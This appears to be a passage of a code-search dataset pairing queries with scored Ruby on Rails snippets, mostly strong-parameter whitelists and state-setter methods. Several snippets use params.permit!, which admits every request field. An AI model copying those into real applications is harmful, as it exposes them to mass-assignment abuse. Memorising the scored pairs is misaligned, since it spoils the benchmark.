"text": "def update_vscore\n VillageItem.find_each do |vi|\n vi.update commenters_count: vi.comments.group(:customer_id).length\n print \"update #{vi.name}..\\n\"\n end\n vis = VillageItem.all\n vis_count = vis.count\n vis_count += 1\n click_sum = vis.sum(:click_count)\n favor_sum = vis.sum(:favor_count)\n call_sum = vis.sum(:call_count)\n commenter_sum = 0\n vis.each { |v| commenter_sum +=v.commenters_count }\n average_wfc = 100.0*favor_sum / ( click_sum + call_sum + 1)\n average_score = (favor_sum*4+call_sum*2+click_sum*1+commenter_sum*3+1)/(vis.count+1)\n vis.each do |vi|\n #using 14 days as age unit \n age = (Time.now-vi.created_at)/24/60/60/14\n age = 1 if age < 1\n ldrt = (Time.now-14.days)..Time.now\n show_event = CustomerEvent.where(target_id: vi.id, name: \"customer_click_village_item\", event_type: \"show_event\", created_at: ldrt).count\n view_event = CustomerEvent.where(target_id: vi.id, name: \"customer_click_village_item\", event_type: \"view_event\", created_at: ldrt).count\n call_event = CustomerEvent.where(target_id: vi.id, name: \"customer_click_village_item\", event_type: \"call_event\", created_at: ldrt).count\n favor_event = CustomerEvent.where(target_id: vi.id, name: \"customer_click_village_item\", event_type: \"favor_event\", created_at: ldrt).count\n unfavor_event = CustomerEvent.where(target_id: vi.id, name: \"customer_click_village_item\", event_type: \"unfavor_event\", created_at: ldrt).count\n shop_event = CustomerEvent.where(target_id: vi.id, name: \"customer_click_village_item\", event_type: \"shop_event\", created_at: ldrt).count\n cs_count = CustomerEvent.where(target_id: vi.id, name: \"customer_click_village_item\", created_at: ldrt).pluck(:customer_id).uniq.count\n recent_score = show_event + 2*view_event + 2*call_event + 2*shop_event + 3*cs_count + 4*favor_event - 4*unfavor_event + (vi.approved? ? 2 : 1 ) \n history_score = ( vi.favor_count*4+vi.call_count*2+vi.click_count*1+3*vi.commenters_count + ( vi.approved? ? 2 : 1 ) )\n wfc = ( 100.0*vi.favor_count ) / ( vi.click_count + vi.call_count + 1 )\n weight = wfc/average_wfc\n vscore = recent_score * 0.5 + ( history_score - average_score ) * 0.2 + ( weight * age ) * 0.3\n\n vi.update_attribute(:vscore, vscore)\n if vi.level == 2 || vi.level == 3 || vi.level == 4 || vi.level == 5\n vi.update_attribute(:level, 1) if vi.approved_end_at && Time.now > vi.approved_end_at\n end\n end\n end",
"title": ""
},
{
"docid": "49ac40078ea2d58b25bdb0dc2d1cf04b",
"score": "0.5048296",
"text": "def gcupdate_event\n cal_event = Event.find_by(gamecall_tag: self.id)\n if cal_event.title != self.title || cal_event.start_time != self.start_time || cal_event.end_time != self.end_time\n cal_event.update :title => self.title, :start_time => self.start_time, :end_time => self.end_time \n end \n end",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60
|
Never trust parameters from the scary internet, only allow the white list through.
|
[
{
"docid": "14ab1d02bb8ab44d93909ead6622131e",
"score": "0.0",
"text": "def note_params\n params[:note].permit(:title, :description)\n end",
"title": ""
}
] |
[
{
"docid": "3663f9efd3f3bbf73f4830949ab0522b",
"score": "0.7496716",
"text": "def whitelisted_params\n super\n end",
"title": ""
},
{
"docid": "13a61145b00345517e33319a34f7d385",
"score": "0.6956598",
"text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "c72da3a0192ce226285be9c2a583d24a",
"score": "0.6922234",
"text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "3d346c1d1b79565bee6df41a22a6f28d",
"score": "0.6893534",
"text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "aa06a193f057b6be7c0713a5bd30d5fb",
"score": "0.67853236",
"text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "f6060519cb0c56a439976f0c978690db",
"score": "0.6744744",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "fad8fcf4e70bf3589fbcbd40db4df5e2",
"score": "0.6683278",
"text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end",
"title": ""
},
{
"docid": "b453d9a67af21a3c28a62e1848094a41",
"score": "0.6637831",
"text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "2c8e2be272a55477bfc4c0dfc6baa7a7",
"score": "0.662915",
"text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1685d76d665d2c26af736aa987ac8b51",
"score": "0.66274196",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f",
"score": "0.65636724",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18",
"score": "0.6490788",
"text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.6478456",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "2d2af8e22689ac0c0408bf4cb340d8c8",
"score": "0.6454521",
"text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end",
"title": ""
},
{
"docid": "236e1766ee20eef4883ed724b83e4176",
"score": "0.64013326",
"text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "b29cf4bc4a27d4b199de5b6034f9f8a0",
"score": "0.6383577",
"text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end",
"title": ""
},
{
"docid": "bfb292096090145a067e31d8fef10853",
"score": "0.63649726",
"text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "6bf3ed161b62498559a064aea569250a",
"score": "0.6341358",
"text": "def require_params\n return nil\n end",
"title": ""
},
{
"docid": "b4c9587164188c64f14b71403f80ca7c",
"score": "0.63372284",
"text": "def sanitize_params!\n request.sanitize_params!\n end",
"title": ""
},
{
"docid": "b63e6e97815a8745ab85cd8f7dd5b4fb",
"score": "0.63265663",
"text": "def excluded_from_filter_parameters; end",
"title": ""
},
{
"docid": "38bec0546a7e4cbf4c337edbee67d769",
"score": "0.6320813",
"text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end",
"title": ""
},
{
"docid": "5ec018b4a193bf3bf8902c9419279607",
"score": "0.6315858",
"text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end",
"title": ""
},
{
"docid": "37d1c971f6495de3cdd63a3ef049674e",
"score": "0.6315331",
"text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "91bfe6d464d263aa01e776f24583d1d9",
"score": "0.63070124",
"text": "def permitir_parametros\n params.permit!\n end",
"title": ""
},
{
"docid": "e012d7306b402a37012f98bfd4ffdb10",
"score": "0.630166",
"text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "157e773497f78353899720ad034a906a",
"score": "0.6299529",
"text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end",
"title": ""
},
{
"docid": "8c384af787342792f0efc7911c3b2469",
"score": "0.62969804",
"text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62925094",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62925094",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "9b76b3149ac8b2743f041d1af6b768b5",
"score": "0.6279755",
"text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end",
"title": ""
},
{
"docid": "603f4a45e5efa778afca5372ae8a96dc",
"score": "0.6274345",
"text": "def param_whitelist\n [:role]\n end",
"title": ""
},
{
"docid": "f6399952b4623e5a23ce75ef1bf2af5a",
"score": "0.6267809",
"text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend",
"title": ""
},
{
"docid": "505e334c1850c398069b6fb3948ce481",
"score": "0.6256392",
"text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end",
"title": ""
},
{
"docid": "37c5d0a9ebc5049d7333af81696608a0",
"score": "0.62562",
"text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend",
"title": ""
},
{
"docid": "6c4620f5d8fd3fe3641e0474aa7014b2",
"score": "0.62532043",
"text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end",
"title": ""
},
{
"docid": "d14bb69d2a7d0f302032a22bb9373a16",
"score": "0.62367487",
"text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend",
"title": ""
},
{
"docid": "d370098b1b3289dbd04bf1c073f2645b",
"score": "0.6228854",
"text": "def allow_params\n params.permit(:id, :email, :password)\n end",
"title": ""
},
{
"docid": "78cbf68c3936c666f1edf5f65e422b6f",
"score": "0.6228413",
"text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend",
"title": ""
},
{
"docid": "5629f00db37bf403d0c58b524d4c3c37",
"score": "0.6228286",
"text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "fde8b208c08c509fe9f617229dfa1a68",
"score": "0.62258255",
"text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5",
"score": "0.62012124",
"text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end",
"title": ""
},
{
"docid": "d724124948bde3f2512c5542b9cdea74",
"score": "0.6191875",
"text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end",
"title": ""
},
{
"docid": "d18a36785daed9387fd6d0042fafcd03",
"score": "0.61842424",
"text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end",
"title": ""
},
{
"docid": "36956168ba2889cff7bf17d9f1db41b8",
"score": "0.6178458",
"text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end",
"title": ""
},
{
"docid": "07bc0e43e1cec1a821fb2598d6489bde",
"score": "0.6164992",
"text": "def accept_no_params\n accept_params {}\n end",
"title": ""
},
{
"docid": "fc4b1364974ea591f32a99898cb0078d",
"score": "0.6162104",
"text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end",
"title": ""
},
{
"docid": "84bd386d5b2a0d586dca327046a81a63",
"score": "0.6156658",
"text": "def good_params\n permit_params\n end",
"title": ""
},
{
"docid": "13e3cfbfe510f765b5944667d772f453",
"score": "0.61559016",
"text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end",
"title": ""
},
{
"docid": "b9432eac2fc04860bb585f9af0d932bc",
"score": "0.6136121",
"text": "def wall_params\n params.permit(:public_view, :guest)\n end",
"title": ""
},
{
"docid": "f2342adbf71ecbb79f87f58ff29c51ba",
"score": "0.61345404",
"text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "8fa507ebc4288c14857ace21acf54c26",
"score": "0.6120985",
"text": "def strong_params\n # to dooo\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.6118153",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.6118153",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "9292c51af27231dfd9f6478a027d419e",
"score": "0.61144924",
"text": "def domain_params\n params[:domain].permit!\n end",
"title": ""
},
{
"docid": "a3aee889e493e2b235619affa62f39c3",
"score": "0.61125064",
"text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.6104286",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.6104286",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.60988307",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.60988307",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "677293afd31e8916c0aee52a787b75d8",
"score": "0.6086679",
"text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end",
"title": ""
},
{
"docid": "e50ea3adc222a8db489f0ed3d1dce35b",
"score": "0.60861516",
"text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end",
"title": ""
},
{
"docid": "b7ab5b72771a4a2eaa77904bb0356a48",
"score": "0.60854965",
"text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end",
"title": ""
},
{
"docid": "b2841e384487f587427c4b35498c133f",
"score": "0.60784113",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "3f5347ed890eed5ea86b70281803d375",
"score": "0.6075904",
"text": "def user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "a3dc8b6db1e6584a8305a96ebb06ad21",
"score": "0.6069803",
"text": "def need_params\n end",
"title": ""
},
{
"docid": "0c8779b5d7fc10083824e36bfab170de",
"score": "0.60691726",
"text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end",
"title": ""
},
{
"docid": "fa0608a79e8d27c2a070862e616c8c58",
"score": "0.60677636",
"text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end",
"title": ""
},
{
"docid": "7646659415933bf751273d76b1d11b40",
"score": "0.60670036",
"text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end",
"title": ""
},
{
"docid": "4f8205e45790aaf4521cdc5f872c2752",
"score": "0.60642415",
"text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end",
"title": ""
},
{
"docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06",
"score": "0.60642093",
"text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.6063699",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "d6886c65f0ba5ebad9a2fe5976b70049",
"score": "0.6057904",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.6049856",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.6049856",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "96ddf2d48ead6ef7a904c961c284d036",
"score": "0.60493153",
"text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end",
"title": ""
},
{
"docid": "75b7084f97e908d1548a1d23c68a6c4c",
"score": "0.6047263",
"text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end",
"title": ""
},
{
"docid": "080d2fb67f69228501429ad29d14eb29",
"score": "0.60412097",
"text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff",
"score": "0.6035046",
"text": "def parameters\n params.permit(permitted_params)\n end",
"title": ""
},
{
"docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8",
"score": "0.6030718",
"text": "def filter_params\n end",
"title": ""
},
{
"docid": "cf73c42e01765dd1c09630007357379c",
"score": "0.6027412",
"text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end",
"title": ""
},
{
"docid": "793abf19d555fb6aa75265abdbac23a3",
"score": "0.60227424",
"text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end",
"title": ""
},
{
"docid": "2e70947f467cb6b1fda5cddcd6dc6304",
"score": "0.60212505",
"text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend",
"title": ""
},
{
"docid": "2a11104d8397f6fb79f9a57f6d6151c7",
"score": "0.60179645",
"text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end",
"title": ""
},
{
"docid": "a83bc4d11697ba3c866a5eaae3be7e05",
"score": "0.60158634",
"text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end",
"title": ""
},
{
"docid": "2aa7b93e192af3519f13e9c65843a6ed",
"score": "0.60089386",
"text": "def user_params\n params[:user].permit!\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6007368",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6007368",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "9c8cd7c9e353c522f2b88f2cf815ef4e",
"score": "0.6006898",
"text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "9736586d5c470252911ec58107dff461",
"score": "0.60060626",
"text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end",
"title": ""
},
{
"docid": "e7cad604922ed7fad31f22b52ecdbd13",
"score": "0.60033864",
"text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end",
"title": ""
},
{
"docid": "f70301232281d001a4e52bd9ba4d20f5",
"score": "0.6002875",
"text": "def room_allowed_params\n end",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.60017014",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.60017014",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "2e6de53893e405d0fe83b9d18b696bd5",
"score": "0.59998643",
"text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.5999541",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.5999541",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "a50ca4c82eaf086dcbcc9b485ebd4261",
"score": "0.599479",
"text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end",
"title": ""
},
{
"docid": "0f53610616212c35950b45fbcf9f5ad4",
"score": "0.599417",
"text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end",
"title": ""
},
{
"docid": "b545ec7bfd51dc43b982b451a715a538",
"score": "0.59940106",
"text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end",
"title": ""
},
{
"docid": "6af3741c8644ee63d155db59be10a774",
"score": "0.5992595",
"text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end",
"title": ""
},
{
"docid": "0b704016f3538045eb52c45442e7f704",
"score": "0.5992174",
"text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end",
"title": ""
}
] |
0893244fec5044de181180d872225cad
|
Sets a new value in the given object's attribute. For example, class Vehicle state_machine :initial => :parked do ... end end
|
[
{
"docid": "1dcfbabee79b6eb3b992593d9e8a70cb",
"score": "0.0",
"text": "def write(object, attribute, value, ivar = T.unsafe(nil)); end",
"title": ""
}
] |
[
{
"docid": "c8718d70e367f09637711cdfaf023c9a",
"score": "0.7395215",
"text": "def state_machine=(value)\n @state_machine = value.dup\n end",
"title": ""
},
{
"docid": "c8718d70e367f09637711cdfaf023c9a",
"score": "0.7395215",
"text": "def state_machine=(value)\n @state_machine = value.dup\n end",
"title": ""
},
{
"docid": "4836fcac49d965c5a9a8e9fcb146512c",
"score": "0.69422793",
"text": "def state=(value)\n @state = value\n end",
"title": ""
},
{
"docid": "50dd4913e7b0eb1c565c6e7c8b229819",
"score": "0.68062645",
"text": "def set_state(state)\n self.state = state\n self.save\n end",
"title": ""
},
{
"docid": "db937b539457abecca54c8c70027b571",
"score": "0.6794183",
"text": "def set_State(value)\n set_input(\"State\", value)\n end",
"title": ""
},
{
"docid": "db937b539457abecca54c8c70027b571",
"score": "0.6794183",
"text": "def set_State(value)\n set_input(\"State\", value)\n end",
"title": ""
},
{
"docid": "abc6518b902131c7bc963057a8ca68f2",
"score": "0.6787235",
"text": "def state=(value)\n @state = value\n end",
"title": ""
},
{
"docid": "abc6518b902131c7bc963057a8ca68f2",
"score": "0.6787235",
"text": "def state=(value)\n @state = value\n end",
"title": ""
},
{
"docid": "abc6518b902131c7bc963057a8ca68f2",
"score": "0.6787235",
"text": "def state=(value)\n @state = value\n end",
"title": ""
},
{
"docid": "abc6518b902131c7bc963057a8ca68f2",
"score": "0.6787235",
"text": "def state=(value)\n @state = value\n end",
"title": ""
},
{
"docid": "abc6518b902131c7bc963057a8ca68f2",
"score": "0.6787235",
"text": "def state=(value)\n @state = value\n end",
"title": ""
},
{
"docid": "abc6518b902131c7bc963057a8ca68f2",
"score": "0.6787235",
"text": "def state=(value)\n @state = value\n end",
"title": ""
},
{
"docid": "abc6518b902131c7bc963057a8ca68f2",
"score": "0.6787235",
"text": "def state=(value)\n @state = value\n end",
"title": ""
},
{
"docid": "abc6518b902131c7bc963057a8ca68f2",
"score": "0.6787235",
"text": "def state=(value)\n @state = value\n end",
"title": ""
},
{
"docid": "abc6518b902131c7bc963057a8ca68f2",
"score": "0.6787235",
"text": "def state=(value)\n @state = value\n end",
"title": ""
},
{
"docid": "abc6518b902131c7bc963057a8ca68f2",
"score": "0.6787235",
"text": "def state=(value)\n @state = value\n end",
"title": ""
},
{
"docid": "2c8159fd0184349aef75ce2041d17dc6",
"score": "0.67523676",
"text": "def set_State(value)\n set_input(\"State\", value)\n end",
"title": ""
},
{
"docid": "2c8159fd0184349aef75ce2041d17dc6",
"score": "0.67523676",
"text": "def set_State(value)\n set_input(\"State\", value)\n end",
"title": ""
},
{
"docid": "2c8159fd0184349aef75ce2041d17dc6",
"score": "0.67523676",
"text": "def set_State(value)\n set_input(\"State\", value)\n end",
"title": ""
},
{
"docid": "2c8159fd0184349aef75ce2041d17dc6",
"score": "0.67523676",
"text": "def set_State(value)\n set_input(\"State\", value)\n end",
"title": ""
},
{
"docid": "2c8159fd0184349aef75ce2041d17dc6",
"score": "0.67523676",
"text": "def set_State(value)\n set_input(\"State\", value)\n end",
"title": ""
},
{
"docid": "2c8159fd0184349aef75ce2041d17dc6",
"score": "0.67523676",
"text": "def set_State(value)\n set_input(\"State\", value)\n end",
"title": ""
},
{
"docid": "2c8159fd0184349aef75ce2041d17dc6",
"score": "0.67523676",
"text": "def set_State(value)\n set_input(\"State\", value)\n end",
"title": ""
},
{
"docid": "e306b75d8251b400423fbb8258279528",
"score": "0.6708465",
"text": "def state=(value)\n @children['state'][:value] = value\n end",
"title": ""
},
{
"docid": "7b8de122fcfbb9c2eb7b48a24ba38898",
"score": "0.6694569",
"text": "def set_State(value)\n set_input(\"State\", value)\n end",
"title": ""
},
{
"docid": "7b8de122fcfbb9c2eb7b48a24ba38898",
"score": "0.6694569",
"text": "def set_State(value)\n set_input(\"State\", value)\n end",
"title": ""
},
{
"docid": "7b8de122fcfbb9c2eb7b48a24ba38898",
"score": "0.6694569",
"text": "def set_State(value)\n set_input(\"State\", value)\n end",
"title": ""
},
{
"docid": "7b8de122fcfbb9c2eb7b48a24ba38898",
"score": "0.6694569",
"text": "def set_State(value)\n set_input(\"State\", value)\n end",
"title": ""
},
{
"docid": "7b8de122fcfbb9c2eb7b48a24ba38898",
"score": "0.6694569",
"text": "def set_State(value)\n set_input(\"State\", value)\n end",
"title": ""
},
{
"docid": "7b8de122fcfbb9c2eb7b48a24ba38898",
"score": "0.6694569",
"text": "def set_State(value)\n set_input(\"State\", value)\n end",
"title": ""
},
{
"docid": "7b8de122fcfbb9c2eb7b48a24ba38898",
"score": "0.6694569",
"text": "def set_State(value)\n set_input(\"State\", value)\n end",
"title": ""
},
{
"docid": "519dcc2e55d4cec871470b2aa68a2708",
"score": "0.6645558",
"text": "def set_state(key, value)\n proxy.setState(key, value)\n end",
"title": ""
},
{
"docid": "a7fccec83f65168e5a05b85789dc598c",
"score": "0.66165906",
"text": "def state=(arg)\n resource.state = arg\n end",
"title": ""
},
{
"docid": "ce03628e96477ae3fc8a8c25863918e6",
"score": "0.65346813",
"text": "def state=(s)\n @state = s\n end",
"title": ""
},
{
"docid": "010bf9f867379d3e0fc4578bbf3ab59c",
"score": "0.6420013",
"text": "def set_state(key, val)\n @state[key] = val\n self\n end",
"title": ""
},
{
"docid": "1fdc4a151b026ea21825a96a59b2f5b3",
"score": "0.6378704",
